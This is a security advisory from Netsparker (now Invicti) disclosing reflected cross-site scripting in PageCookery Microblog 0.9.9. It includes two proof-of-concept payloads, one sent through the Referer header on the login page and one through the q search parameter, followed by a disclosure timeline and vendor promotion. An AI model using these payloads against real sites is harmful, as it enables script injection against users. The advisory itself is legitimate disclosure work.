Information
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Advisory by Netsparker (now Invicti)

Name: XSS Vulnerability in PageCookery Microblog
Software: PageCookery 0.9.9 and possibly below.
Vendor Homepage: http://pagecookery.com/
Vulnerability Type: Cross-site Scripting
Severity: Critical
Researcher: Omar Kurt
Advisory Reference: NS-14-026

Description
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PageCookery is the first public offering of single-user version of the open source microblogging program, PHP + MySQL based architecture is a set of safety, efficiency and stability, to "share", "discovery" for the concept of Web 2.0 solutions to micro-blog.

Details
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PageCookery Microblog is affected by XSS vulnerability 0.9.9.

PageCookery Microblog PoC urls are as follows :

  • Cross-site Scripting

    http://example.com/MD/?act=login (Referer)
    '"--></style></scRipt><scRipt>alert(0x000271)</scRipt>

    http://example.com/MD/?q=';"--></style></scRipt><scRipt>alert(0x0000C2)</scRipt>

You can read the full article about Cross-site Scripting vulnerabilities from here :

Advisory Timeline
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29/04/2014 - First Contact
07/06/2014 - Second Contact
14/08/2014 - Advisory released

Credits
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It has been discovered on testing of Invicti Web Application Security Scanner.

About Netsparker
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Netsparker® can find and report security issues such as SQL Injection and Cross-site Scripting (XSS) in all web applications regardless of the platform and the technology they are built on. Invicti’s unique detection and exploitation techniques allows it to be dead accurate in reporting hence it's the first and the only False Positive Free web application security scanner.